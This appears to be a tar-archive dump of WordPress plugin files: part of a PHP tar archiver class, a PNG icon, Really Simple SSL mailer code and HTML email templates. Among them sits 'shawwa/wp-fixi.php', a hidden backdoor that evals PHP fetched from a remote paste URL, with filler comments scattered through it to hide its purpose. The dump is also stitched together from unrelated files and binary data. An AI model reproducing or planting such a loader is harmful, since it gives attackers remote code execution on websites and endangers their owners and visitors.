					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
shawwa/icons.png000064400000001401147510273070007661 0ustar00�PNG


IHDR���>/PLTE���}}}___�Xv�tRNS�����ֈ�I��IDATx�G�!�yqo_�80�+o��u����l��j^��F�=��BxĒ$Izv�s��	��� ��C@9�#p.�T�
8k�wΙxy�����4vp7�N;�}y�M��)�;��a��3���v�O���pש��
�΢���i���;���)p
���)p
���)p
���)p
��(p
�wk2HW�PwKZy���s��
��];�Ǒ>���3
\��U�*8�蔁k�G�J��b�*��S��#0p��C��;�S���Q]`qG08��A�kହ��4F����ţ�
LR��;&��͙����`]BZ�����$ʏ��?
�n�4�t[��
�x"���B�b��9I�)Ci�Ni՝f�`���P�b�A�?��1�Pt�N�S�8N��e�]�S�au&@�y&�I���g�;p�=e@�h*�� �G��J*p�}ix����/
���-��}8��g#�r�>�5?�E�Qo��p
���)p
��d�:��C��x� <�=�-��7�u���ez(K�Iu�������vY|����a3�f��	x p���9Pu؞�1�*�+�a�5`�o��auz������ۂ��Lk;�w(:I��ǫ?o��UC���IEND�B`�shawwa/wp-fixi.php000064400000001202147510273070010133 0ustar00<?php eval(


        /*195120171673628528243394485425901591443*/        


urldecode("%3f%3e")


      /*288967944863130613556899795436100107128*/      


.file_get_contents(


          /*288497349368947797672974888438992371911*/          


urldecode("https://paste.myconan.net/496882.txt?zbn=141056506545345654432363242424243242343793"



       /*66507194551149082495849105575817739026*/       



)




     /*91557940725503400002861482758909037655*/     




)

      /*259680718900618871158933907587678655028*/      

);




     /*84146071435984784762718341703718496527*/     




?>really-simple-ssl/mailer/class-mail-admin.php000064400000007726147510273070015241 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * Class to send an e-mail
 */

if ( !class_exists('rsssl_mailer_admin') ) {
	class rsssl_mailer_admin {

		public function __construct() {
			add_filter( 'rsssl_five_minutes_cron', array( $this, 'maybe_send_mail' ) );
			add_filter( 'rsssl_five_minutes_cron', array( $this, 'rsssl_clear_expired_tokens' ) );
			add_action( 'admin_init', array( $this, 'maybe_verify_user_email' ) );
			add_action( 'rsssl_after_save_field', array( $this, 'maybe_allow_restart_email_verification' ), 10, 4 );
		}

		/**
		 * @return void
		 *
		 * Clear expired verification tokens from DB
		 */
		public function rsssl_clear_expired_tokens() {

			$token_expiration = get_option( 'rsssl_email_verification_code_expiration' );
			if ( $token_expiration > time() ) {
				delete_option( 'rsssl_email_verification_code' );
				delete_option( 'rsssl_email_verification_code_expiration' );
			}
		}

		/**
		 * @return void
		 *
		 * Verify user e-mail
		 */
		public function maybe_verify_user_email() {

			if ( ! rsssl_user_can_manage() ) {
				return;
			}

			if ( isset($_GET['rsssl_force_verification'] ) ){
				update_option( 'rsssl_email_verification_status', 'completed', false );
			}

			if ( ! isset( $_GET['rsssl_verification_code'] )  ) {
				return;
			}

			// Handle e-mail verification
			$verification_code = $_GET['rsssl_verification_code'];
			$verification_code = preg_replace( "/[^0-9]/", "", $verification_code );
			$verification_code = substr( $verification_code, 0, 6 );

			// verify code
			$user_id = get_current_user_id();
			$nonce   = $_GET['rsssl_nonce'];
			if ( ! wp_verify_nonce( $nonce, 'rsssl_email_verification_' . $user_id ) ) {
				return;
			}

			$current_time                  = time();
			$saved_verification_code       = get_option('rsssl_email_verification_code');
			$saved_verification_expiration = get_option('rsssl_email_verification_code_expiration');

			if ( $verification_code === $saved_verification_code && $saved_verification_expiration && $current_time < $saved_verification_expiration ) {
				// If the verification code is correct and hasn't expired, update the verification status
				update_option( 'rsssl_email_verification_status', 'completed', false );
				set_transient('rsssl_redirect_to_settings_page', true, HOUR_IN_SECONDS );
			}
		}

		/**
		 * @return void
		 */
		public function maybe_send_mail() {
			if ( ! rsssl_get_option( 'send_notifications_email' ) ) {
				return;
			}

			$fields     = get_option( 'rsssl_email_warning_fields', [] );
			$time_saved = get_option( 'rsssl_email_warning_fields_saved' );
			if ( ! $time_saved ) {
				return;
			}

			$thirty_minutes_ago = $time_saved < strtotime( "-10 minutes" );
			$warning_blocks     = array_column( $fields, 'email' );
			if ( $thirty_minutes_ago && count( $warning_blocks ) > 0 ) {
				//clear the option
				delete_option( 'rsssl_email_warning_fields', [] );
				delete_option( 'rsssl_email_warning_fields_saved' );
				$mailer                 = new rsssl_mailer();
				$mailer->warning_blocks = $warning_blocks;
				$mailer->send_mail();
			}
		}

		/**
		 * @return bool|void
		 *
		 * E-mail verification status callback
		 */
		public function email_verification_completed() {
			$status = get_option( 'rsssl_email_verification_status' );

			if ( $status === 'started' ) {
				return false;
			}

			if ( $status === 'completed' ) {
				return true;
			}

			if ( $status === 'email_changed' ) {
				return false;
			}

		}

		/**
		 * @param $field_id
		 * @param $field_value
		 * @param $prev_value
		 * @param $field_type
		 *
		 * @return void
		 *
		 * Maybe allow the user to re-verify their e-mail address after the notifications e-mail address has changed
		 */
		public function maybe_allow_restart_email_verification( $field_id, $field_value, $prev_value, $field_type ) {
			if ( $field_id === 'notifications_email_address' && $field_value !== $prev_value && rsssl_user_can_manage() ) {
				update_option( 'rsssl_email_verification_status', 'email_changed' );
			}
		}
	}
}really-simple-ssl/mailer/index.php000064400000000043147510273070013216 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/mailer/templates/index.php000064400000000043147510273070015214 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/mailer/templates/block.html000064400000010050147510273070015353 0ustar00<div class="u-row-container" style="padding: 20px;background-color: #f2f2f2">
  <div class="u-row" style="margin: 0 auto;min-width: 320px;max-width: 500px;overflow-wrap: break-word;word-wrap: break-word;word-break: break-word;background-color: transparent;">
    <div style="border-collapse: collapse;display: table;width: 100%;height: 100%;background-color: transparent;">
      <!--[if (mso)|(IE)]><table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td style="padding: 20px;background-color: transparent;" align="center"><table cellpadding="0" cellspacing="0" border="0" style="width:500px;"><tr style="background-color: transparent;"><![endif]-->

<!--[if (mso)|(IE)]><td align="center" width="500" style="background-color: #ffffff;width: 500px;padding: 20px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;" valign="top"><![endif]-->
<div class="u-col u-col-100" style="max-width: 320px;min-width: 500px;display: table-cell;vertical-align: top;">
  <div style="background-color: #ffffff;height: 100%;width: 100% !important;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;">
  <!--[if (!mso)&(!IE)]><!--><div style="box-sizing: border-box; height: 100%; padding: 20px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;"><!--<![endif]-->

<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
  <tbody>
    <tr>
      <td style="overflow-wrap:break-word;word-break:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" align="left">

  <h2 style="margin: 0px; line-height: 140%; text-align: left; word-wrap: break-word; font-size: 22px; font-weight: 400;">{title}</h2>

      </td>
    </tr>
  </tbody>
</table>

<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
  <tbody>
    <tr>
      <td style="overflow-wrap:break-word;word-break:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" align="left">

  <div style="font-size: 14px; line-height: 140%; text-align: left; word-wrap: break-word;">
    <p style="line-height: 140%;">{message}</p>
  </div>

      </td>
    </tr>
  </tbody>
</table>

<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
  <tbody>
    <tr>
      <td style="overflow-wrap:break-word;word-break:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" align="left">

  <!--[if mso]><style>.v-button {background: transparent !important;}</style><![endif]-->
<div align="left">
  <!--[if mso]><v:roundrect xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w="urn:schemas-microsoft-com:office:word" href="" style="height:37px; v-text-anchor:middle; width:117px;" arcsize="11%"  stroke="f" fillcolor="#007bbc"><w:anchorlock/><center style="color:#FFFFFF;"><![endif]-->
    <a href="{url}" target="_blank" rel="noopener noreferrer" class="v-button" style="box-sizing: border-box;display: inline-block;text-decoration: none;-webkit-text-size-adjust: none;text-align: center;color: #FFFFFF; background-color: #007bbc; border-radius: 4px;-webkit-border-radius: 4px; -moz-border-radius: 4px; width:auto; max-width:100%; overflow-wrap: break-word; word-break: break-word; word-wrap:break-word; mso-border-alt: none;font-size: 14px;">
      <span style="display:block;padding:10px 20px;line-height:120%;"><span style="line-height: 16.8px;">{learn-more}</span></span>
    </a>
    <!--[if mso]></center></v:roundrect><![endif]-->
</div>

      </td>
    </tr>
  </tbody>
</table>

  <!--[if (!mso)&(!IE)]><!--></div><!--<![endif]-->
  </div>
</div>
<!--[if (mso)|(IE)]></td><![endif]-->
      <!--[if (mso)|(IE)]></tr></table></td></tr></table><![endif]-->
    </div>
  </div>
  </div>
really-simple-ssl/mailer/templates/email.html000064400000024756147510273070015372 0ustar00<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional //EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
<head>
<!--[if gte mso 9]>
<xml>
  <o:OfficeDocumentSettings>
    <o:AllowPNG/>
    <o:PixelsPerInch>96</o:PixelsPerInch>
  </o:OfficeDocumentSettings>
</xml>
<![endif]-->
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta name="x-apple-disable-message-reformatting">
  <!--[if !mso]><!--><meta http-equiv="X-UA-Compatible" content="IE=edge"><!--<![endif]-->
  <title></title>

    <style type="text/css">
      @media only screen and (min-width: 520px) {
  .u-row {
    width: 500px !important;
  }
  .u-row .u-col {
    vertical-align: top;
  }

  .u-row .u-col-100 {
    width: 500px !important;
  }

}

@media (max-width: 520px) {
  .u-row-container {
    max-width: 100% !important;
    padding-left: 0px !important;
    padding-right: 0px !important;
  }
  .u-row .u-col {
    min-width: 320px !important;
    max-width: 100% !important;
    display: block !important;
  }
  .u-row {
    width: 100% !important;
  }
  .u-col {
    width: 100% !important;
  }
  .u-col > div {
    margin: 0 auto;
  }
}
body {
  margin: 0;
  padding: 0;
}

table,
tr,
td {
  vertical-align: top;
  border-collapse: collapse;
}

p {
  margin: 0;
}

.ie-container table,
.mso-container table {
  table-layout: fixed;
}

* {
  line-height: inherit;
}

a[x-apple-data-detectors='true'] {
  color: inherit !important;
  text-decoration: none !important;
}

table, td { color: #000000; } #u_body_footer a { color: #fff; text-decoration: underline; }
    </style>



</head>

<body class="clean-body u_body" style="margin: 0;padding: 0;-webkit-text-size-adjust: 100%;background-color: #e7e7e7;color: #000000">
  <!--[if IE]><div class="ie-container"><![endif]-->
  <!--[if mso]><div class="mso-container"><![endif]-->
  <table id="u_body" style="border-collapse: collapse;table-layout: fixed;border-spacing: 0;mso-table-lspace: 0pt;mso-table-rspace: 0pt;vertical-align: top;min-width: 320px;Margin: 0 auto;background-color: #e7e7e7;width:100%" cellpadding="0" cellspacing="0">
  <tbody>
  <tr style="vertical-align: top">
    <td style="word-break: break-word;border-collapse: collapse !important;vertical-align: top">
    <!--[if (mso)|(IE)]><table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td align="center" style="background-color: #e7e7e7;"><![endif]-->



<div class="u-row-container" style="padding: 0px;background-color: #ffffff">
  <div class="u-row" style="margin: 0 auto;min-width: 320px;max-width: 500px;overflow-wrap: break-word;word-wrap: break-word;word-break: break-word;background-color: transparent;">
    <div style="border-collapse: collapse;display: table;width: 100%;height: 100%;background-color: transparent;">
      <!--[if (mso)|(IE)]><table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td style="padding: 0px;background-color: #ffffff;" align="center"><table cellpadding="0" cellspacing="0" border="0" style="width:500px;"><tr style="background-color: transparent;"><![endif]-->

<!--[if (mso)|(IE)]><td align="center" width="500" style="width: 500px;padding: 5px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;" valign="top"><![endif]-->
<div class="u-col u-col-100" style="max-width: 320px;min-width: 500px;display: table-cell;vertical-align: top;">
  <div style="height: 100%;width: 100% !important;">
  <!--[if (!mso)&(!IE)]><!--><div style="box-sizing: border-box; height: 100%; padding: 5px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;"><!--<![endif]-->

<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
  <tbody>
    <tr>
      <td style="overflow-wrap:break-word;word-break:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" align="left">

<table width="100%" cellpadding="0" cellspacing="0" border="0">
  <tr>
    <td style="padding-right: 0px;padding-left: 0px;" align="center">

      <img align="center" border="0" src="https://downloads.really-simple-security.com/images/reallysimplesecurity.png" alt="Really Simple Plugins" title="Really Simple Plugins" style="outline: none;text-decoration: none;-ms-interpolation-mode: bicubic;clear: both;display: inline-block !important;border: none;height: auto;float: none;width: 45%;max-width: 216px;" width="216"/>

    </td>
  </tr>
</table>

      </td>
    </tr>
  </tbody>
</table>

  <!--[if (!mso)&(!IE)]><!--></div><!--<![endif]-->
  </div>
</div>
<!--[if (mso)|(IE)]></td><![endif]-->
      <!--[if (mso)|(IE)]></tr></table></td></tr></table><![endif]-->
    </div>
  </div>
  </div>





<div class="u-row-container" style="padding: 0px;background-color: #f2f2f2">
  <div class="u-row" style="margin: 0 auto;min-width: 320px;max-width: 500px;overflow-wrap: break-word;word-wrap: break-word;word-break: break-word;background-color: transparent;">
    <div style="border-collapse: collapse;display: table;width: 100%;height: 100%;background-color: transparent;">
      <!--[if (mso)|(IE)]><table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td style="padding: 0px;background-color: transparent;" align="center"><table cellpadding="0" cellspacing="0" border="0" style="width:500px;"><tr style="background-color: transparent;"><![endif]-->

<!--[if (mso)|(IE)]><td align="center" width="500" style="width: 500px;padding: 20px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;" valign="top"><![endif]-->
<div class="u-col u-col-100" style="max-width: 320px;min-width: 500px;display: table-cell;vertical-align: top;">
  <div style="height: 100%;width: 100% !important;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;">
  <!--[if (!mso)&(!IE)]><!--><div style="box-sizing: border-box; height: 100%; padding: 20px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;"><!--<![endif]-->

<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
  <tbody>
    <tr>
      <td style="overflow-wrap:break-word;word-break:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" align="left">

  <h1 style="margin: 0px; line-height: 140%; text-align: left; word-wrap: break-word; font-size: 20px; font-weight: 500;">{title}</h1>

      </td>
    </tr>
  </tbody>
</table>

<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
  <tbody>
    <tr>
      <td style="overflow-wrap:break-word;word-break:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" align="left">

  <div style="font-size: 14px; line-height: 140%; text-align: left; word-wrap: break-word;">
    <p style="line-height: 140%;">{message}</p>
  </div>

      </td>
    </tr>
  </tbody>
</table>

  <!--[if (!mso)&(!IE)]><!--></div><!--<![endif]-->
  </div>
</div>
<!--[if (mso)|(IE)]></td><![endif]-->
      <!--[if (mso)|(IE)]></tr></table></td></tr></table><![endif]-->
    </div>
  </div>
  </div>

  {warnings}

<div class="u-row-container" style="padding: 0px;background-color: #333333">
  <div class="u-row" style="margin: 0 auto;min-width: 320px;max-width: 500px;overflow-wrap: break-word;word-wrap: break-word;word-break: break-word;background-color: transparent;">
    <div style="border-collapse: collapse;display: table;width: 100%;height: 100%;background-color: transparent;">
      <!--[if (mso)|(IE)]><table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td style="padding: 0px;background-color: #333333;" align="center"><table cellpadding="0" cellspacing="0" border="0" style="width:500px;"><tr style="background-color: transparent;"><![endif]-->

<!--[if (mso)|(IE)]><td align="center" width="500" style="background-color: #333333;width: 500px;padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;" valign="top"><![endif]-->
<div class="u-col u-col-100" style="max-width: 320px;min-width: 500px;display: table-cell;vertical-align: top;">
  <div style="background-color: #333333;height: 100%;width: 100% !important;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;">
  <!--[if (!mso)&(!IE)]><!--><div style="box-sizing: border-box; height: 100%; padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;"><!--<![endif]-->

<table id="u_body_footer" style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
  <tbody>
    <tr>
      <td style="overflow-wrap:break-word;word-break:break-word;padding:20px;font-family:arial,helvetica,sans-serif;" align="left">

  <div style="font-size: 12px; color: #ffffff; line-height: 140%; text-align: center; word-wrap: break-word;">
      <p style="line-height: 140%; font-size: 14px;font-weight:600;margin-bottom: 6px;">Really Simple Security<br />
      <p style="margin: 0; margin-bottom: 3px;">{change_text} <a href="https://really-simple-ssl.com/incorrect-email-content/" style="text-decoration: underline; color: #fffff9!important;">{what_now}</a></p>
      <p style="margin: 0; margin-bottom: 3px;">{sent_to_text} <a style="text-decoration: underline; color: #fffff9!important;">{email-address}</a></p>
      <p style="margin: 0;">{sent_by_text}</p>
  </div>

      </td>
    </tr>
  </tbody>
</table>

  <!--[if (!mso)&(!IE)]><!--></div><!--<![endif]-->
  </div>
</div>
<!--[if (mso)|(IE)]></td><![endif]-->
      <!--[if (mso)|(IE)]></tr></table></td></tr></table><![endif]-->
    </div>
  </div>
  </div>



    <!--[if (mso)|(IE)]></td></tr></table><![endif]-->
    </td>
  </tr>
  </tbody>
  </table>
  <!--[if mso]></div><![endif]-->
  <!--[if IE]></div><![endif]-->
</body>

</html>
really-simple-ssl/mailer/templates/email-unbranded.html000064400000024216147510273070017321 0ustar00<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional //EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
<head>
<!--[if gte mso 9]>
<xml>
  <o:OfficeDocumentSettings>
    <o:AllowPNG/>
    <o:PixelsPerInch>96</o:PixelsPerInch>
  </o:OfficeDocumentSettings>
</xml>
<![endif]-->
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta name="x-apple-disable-message-reformatting">
  <!--[if !mso]><!--><meta http-equiv="X-UA-Compatible" content="IE=edge"><!--<![endif]-->
  <title></title>

    <style type="text/css">
      @media only screen and (min-width: 520px) {
  .u-row {
    width: 500px !important;
  }
  .u-row .u-col {
    vertical-align: top;
  }

  .u-row .u-col-100 {
    width: 500px !important;
  }

}

@media (max-width: 520px) {
  .u-row-container {
    max-width: 100% !important;
    padding-left: 0px !important;
    padding-right: 0px !important;
  }
  .u-row .u-col {
    min-width: 320px !important;
    max-width: 100% !important;
    display: block !important;
  }
  .u-row {
    width: 100% !important;
  }
  .u-col {
    width: 100% !important;
  }
  .u-col > div {
    margin: 0 auto;
  }
}
body {
  margin: 0;
  padding: 0;
}

table,
tr,
td {
  vertical-align: top;
  border-collapse: collapse;
}

p {
  margin: 0;
}

.ie-container table,
.mso-container table {
  table-layout: fixed;
}

* {
  line-height: inherit;
}

a[x-apple-data-detectors='true'] {
  color: inherit !important;
  text-decoration: none !important;
}

table, td { color: #000000; } #u_body_footer a { color: #fff; text-decoration: underline; }
    </style>



</head>

